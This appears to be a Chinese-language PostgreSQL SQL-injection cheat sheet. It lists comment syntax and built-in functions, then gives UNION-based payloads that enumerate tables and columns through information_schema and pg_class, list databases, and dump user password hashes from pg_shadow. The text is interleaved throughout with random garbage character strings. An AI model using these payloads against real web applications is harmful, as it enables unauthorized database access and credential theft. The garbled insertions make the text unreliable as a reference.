结合了MSSQL MySQL Oracle的一些特点
! x% S) c3 H5 E* u0 Q- d4 ~1 A, r$ @支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/+ M4 U2 L, z7 }
连接符: %20 , + , /**/ 内置函数:
' T0 y. Z+ D2 J* s/ v' a3 acurrent_database() //当前数据库名% x8 A7 z% N0 G# A5 W& p4 a* n9 O
session_user //会话用户6 l5 y9 ~/ {. T7 S( q% u2 M/ ]
current_user //当前数据库用户0 g7 R7 I+ _6 R) L& _
user //当前用户; i9 z9 H6 E; j" T3 }
version() //数据库版本 Union注射:6 h" N/ X, e0 {1 d
order by n–
% d7 e9 N7 E/ y% b' x& ]7 `2 j% Vand 1=2 union select null,null,null–8 T9 p/ H: J4 t9 I) {5 Q
and 1=2 union select ‘beach’,null,null–' k7 s) C$ _; I# r4 [' ] `
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema): G7 b) A' J; D( \: \
group_concat(table_name)# m' J+ m# _/ J6 Q, U& t6 g
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n– D- E$ a s5 U6 r$ P
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
. Q: C* d. H z* X(老版本)
/ H- ^: B+ m6 m3 p$ hpg_class.oid对应pg_attribute.attrelid
3 O3 z" F3 t1 k4 fpg_class.relname表名: t" M7 }, m, @% L$ v) m$ }# ]
pg_attribute.attname字段名 select relname from pg_class获取表名; y3 i" K, R- X
select oid from pg_class where 条件 获取参数) p& M9 i: [, [9 n6 r
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:) V3 g/ ~7 K/ f3 |
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
& k3 z& b6 m% f4 J7 e: p- Mand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
& x/ B% F! L, o2 L由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
; i, X/ ?, w4 X0 w' p6 y( v====================================================================== d' e6 J2 q0 G; s9 G) N, a
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库' V% p3 U7 d: U; c
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |